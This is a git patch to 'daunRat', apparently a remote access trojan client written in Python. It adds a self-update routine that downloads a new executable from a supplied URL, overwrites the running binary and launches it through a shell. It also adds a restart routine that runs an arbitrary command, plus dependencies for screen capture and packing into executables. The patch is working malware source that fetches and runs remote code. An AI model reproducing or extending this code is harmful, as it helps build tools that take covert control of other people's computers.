From 681cb01f74ee70d11d06ff77f5cd49d349035fcc Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Sat, 30 Apr 2022 12:27:53 +0300 Subject: [PATCH] self utils added --- client/daunRat.py | 1 + client/modules/selfutil.py | 19 +++++++++++++++++++ requirements.txt | 11 ++++++++++- 3 files changed, 30 insertions(+), 1 deletion(-) create mode 100644 client/modules/selfutil.py diff --git a/client/daunRat.py b/client/daunRat.py index c1b73dc..0cb6207 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -7,6 +7,7 @@ import subprocess import sys sys.path.append('daun/modules') import daun.modules as daun # needed to use daun functionality from admin +from modules.selfutil import daunrat # needed to use self utility functions client_id = int() diff --git a/client/modules/selfutil.py b/client/modules/selfutil.py new file mode 100644 index 0000000..a05d766 --- /dev/null +++ b/client/modules/selfutil.py @@ -0,0 +1,19 @@ +class daunrat: + @staticmethod + def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"): + import requests + import subprocess + import sys + import os + os.rename(old, "olddaun") + with open(destination, 'wb') as f: + f.write(requests.get(url).content) + subprocess.Popen(command, shell=True, close_fds=True) + sys.exit(0) + + @staticmethod + def restart(command: str): + import subprocess + import sys + subprocess.Popen(command, shell=True, close_fds=True) + sys.exit(0) diff --git a/requirements.txt b/requirements.txt index c64f817..2bde605 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,4 +3,13 @@ pysher ezztui ezzthread PyQt5 -qt-thread-updater \ No newline at end of file +qt-thread-updater +mss +pyimgur +psutil +requests +pyinstaller +zstandard +nuitka +python-vlc +playsound \ No newline at end of file